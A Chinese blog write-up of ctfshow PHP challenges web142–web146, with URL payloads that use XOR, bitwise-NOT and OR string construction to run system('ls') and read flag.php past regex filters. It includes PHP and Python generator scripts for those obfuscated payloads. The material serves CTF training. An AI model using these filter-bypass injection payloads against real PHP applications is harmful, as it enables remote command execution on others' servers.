首页 > 编程语言 >ctfshow-web入门-php特性(web142-web146)

ctfshow-web入门-php特性(web142-web146)

时间:2024-07-27 15:58:08浏览次数:9  
标签:web web146 01% web142 7f% 60% v1 v3 0c%

目录

1、web142

2、web143

3、web144

4、web145

5、web146


1、web142

要求 v1 是数字,之后将 v1乘以 0x36d(即16进制的869)五次,然后将结果转换为整数并赋值给变量 $d,使用 sleep 函数使程序休眠 $d 秒,最后读取flag.php文件的内容并输出到浏览器。

那直接传 0 呗,不然乘出来都太大了,payload:

?v1=0

查看源码:

 

拿到 flag:ctfshow{3da033cc-68c7-46dc-99fa-e085f7e1d241}

2、web143

在 web141 的基础上新增过滤加减、取反、或,我们可以使用乘除号代替加减号,取反、或不能使用我们还可以采用异或运算构造 payload。

这里我们先采用之前命令执行的脚本来生成可用的字符:

选择异或模式,正则表达式替换成题目的。

<?php

//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(2,'/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i');
//1代表模式,后面的是过滤规则

运行后可以得到一个 txt 文件,也就是我们一会儿需要用来构造 payload 的字典:

对之前命令执行里的攻击脚本进行一些修改,我们只获取 payload:

# -*- coding: utf-8 -*-

def action(arg):
    s1 = ""
    s2 = ""
    with open("rce.txt", "r") as f:
        lines = f.readlines()
        for i in arg:
            for line in lines:
                if line.startswith(i):
                    s1 += line[2:5]
                    s2 += line[6:9]
                    break
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return output

while True:
    function_input = input("\n[+] 请输入你的函数:")
    command_input = input("[+] 请输入你的命令:")
    param = action(function_input) + action(command_input)
    print("\n[*] 构造的Payload:", param)

这里我们先构造 ("system")("ls") 

运行得到:

("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")

因此我们最终 payload 为:

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

构造读取 flag.php 的命令:

运行得到:

("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")

构造 payload:

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*

拿到 flag:ctfshow{2fbf0be5-c0d1-462a-b368-f85f09754391}

本来还有一个这种异或构造的脚本,但是有一个字母没构造好:

ls 可以构造:

我们试一下将前面 payload 里的 ls 替换:

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")(",("^"@[")*

也是可以的 

3、web144

检查 $v1 是否是数字,并且 $v3 是否是单个字符(通过调用 check($v3) 函数进行检查),check 函数检查字符串长度是否为 1,$v2 要求只包含非字母数字字符。

那么让中间的 v3 为运算符即可,直接用上一题异或的方法,传参位置不同罢了:

?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")&v3=-

拿到 flag:ctfshow{012f9c5e-4c67-4a0c-9975-59cb22386e31}

当然也可以采用或、取反等方法。

4、web145

这里过滤的是异或,我们采用或、取反都可以,加减乘除都被过滤,可以用位或运算符 |。

这里采用取反的方法,payload:

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

 

也可以用三元运算符:

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F):

拿到 flag:ctfshow{fac77734-2cf8-41fc-a13b-ec6191389d71}

5、web146

新增过滤冒号,用或 | 即可,payload:

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

还可以用等于号:

?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

拿到 flag:ctfshow{3f5c8536-09c9-47aa-b545-e08354412790}

标签:web,web146,01%,web142,7f%,60%,v1,v3,0c%
From: https://blog.csdn.net/Myon5/article/details/140730770

相关文章

  • 在WPF中使用WebView2详解
    MicrosoftEdgeWebView2MicrosoftEdgeWebView2 控件允许在本机应用中嵌入web技术(HTML、CSS以及JavaScript)。 WebView2 控件使用 MicrosoftEdge 作为绘制引擎,以在本机应用中显示web内容。使用 WebView2 可以在本机应用的不同部分嵌入Web代码,或在单个 We......
  • 使用 Flask 时,为什么这个 html 模板不能在 Web 浏览器中呈现抓取的网站数据?
    每当我在终端中打印出抓取的数据时,它都会很好地显示抓取的数据,但每当我尝试使用PythonFlask提供它时,我使用的HTML模板不会在Web浏览器中呈现数据。如果您能帮我修复此代码。Python(Flask)文件:fromflaskimportFlask,render_templatefrombs4importBeautifulSoup......
  • python+flask计算机毕业设计基于web的小区疫情防控信息管理系统(程序+开题+论文)
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着全球公共卫生事件的频发,特别是新冠疫情的持续影响,小区作为城市管理的基础单元,其疫情防控工作显得尤为重要。传统的小区管理方式在面对......
  • 五分钟学会 调整 Gradio 运行界面 WEB UI 的背景图 和 添加 Html 标签
    场景我在调整gradio运行界面的组件的CSS样式时,我又再想,能不能给这个运行界面添个背景图或者其他HTML元素上去呢?如果可以那就真的太棒了吧~问题如何给gradio运行界面添加其他HTML元素和背景图?解决✨通过Markdown()方法:添加HTML标签通过g......
  • Vue3 - 最新详细实现网站接入Google谷歌授权登录配置流程及示例代码教程,手机移动端、p
    前言如果您需要Vue2版本,请访问这篇文章。在vue3|nuxt3网站开发中,详解实现vue3接入新版google谷歌快捷登录教程,电脑PC网站、手机网站集成谷歌授权登录服务及拿到用户个人信息头像邮箱等,国内第三方web站点使用google账号登陆及授权重定向,提供详细的本地调试方法以......
  • web前端学习路线图
    web前端学习路线图应该包括以下几个阶段:第一阶段:基础入门阶段HTML5+CSS3基础结构布局,PC端和移动端。JavaScript基础内容,如数据类型、函数、数组等。JavaScript高级内容,如对象、原型链、闭包等。JavaScriptES6进阶,包括箭头函数、模块化等。CSS3学习,通过CSS开发网页和......
  • 使用 Selenium 时的 WebDriver 错误错误:OSError: [WinError 193] %1 不是有效的 Win32
    我正在使用文档中的代码:https://pypi.org/project/webdriver-manager/#use-with-chrome安装并升级所有软件包并运行下面的代码后:fromseleniumimportwebdriverfromselenium.webdriver.chrome.serviceimportServiceasChromeServicefromwebdriver_manager.......
  • 精通Postman中的Webhook测试:API自动化的秘诀
    精通Postman中的Webhook测试:API自动化的秘诀Webhooks作为一种实时的请求-响应模式,允许服务在数据更新时立即通知订阅者。这种机制在现代API架构中变得越来越流行,特别是在需要即时反馈的场景中。Postman作为API开发和测试的强大工具,提供了测试Webhooks的功能。本文将详细介......
  • Web 服务器配置文档
    Web服务器配置文档1.概述本文档旨在描述Web服务器的配置方法,包括安装、配置和基本维护。适用范围:所有使用此Web服务器的开发人员和运维人员。目标:提供详细的配置步骤,方便新用户快速上手。确保Web服务器安全、稳定、高效运行。2.安装2.1准备工作操作系......
  • 嵌入式Python、ROS、SLAM、WebSocket和Node.js:智能巡逻监控安防机器人设计流程(代码示
    项目概述随着智能技术的发展,智能巡逻机器人在安防、监控和巡逻等领域的应用越来越广泛。本文将介绍一个结合嵌入式系统、机器人技术和后端开发的智能巡逻机器人。该机器人能够自主导航,实时检测异常情况(如火灾或入侵者),并将数据发送到后端服务器,以实现高效的监控和应急响应。主......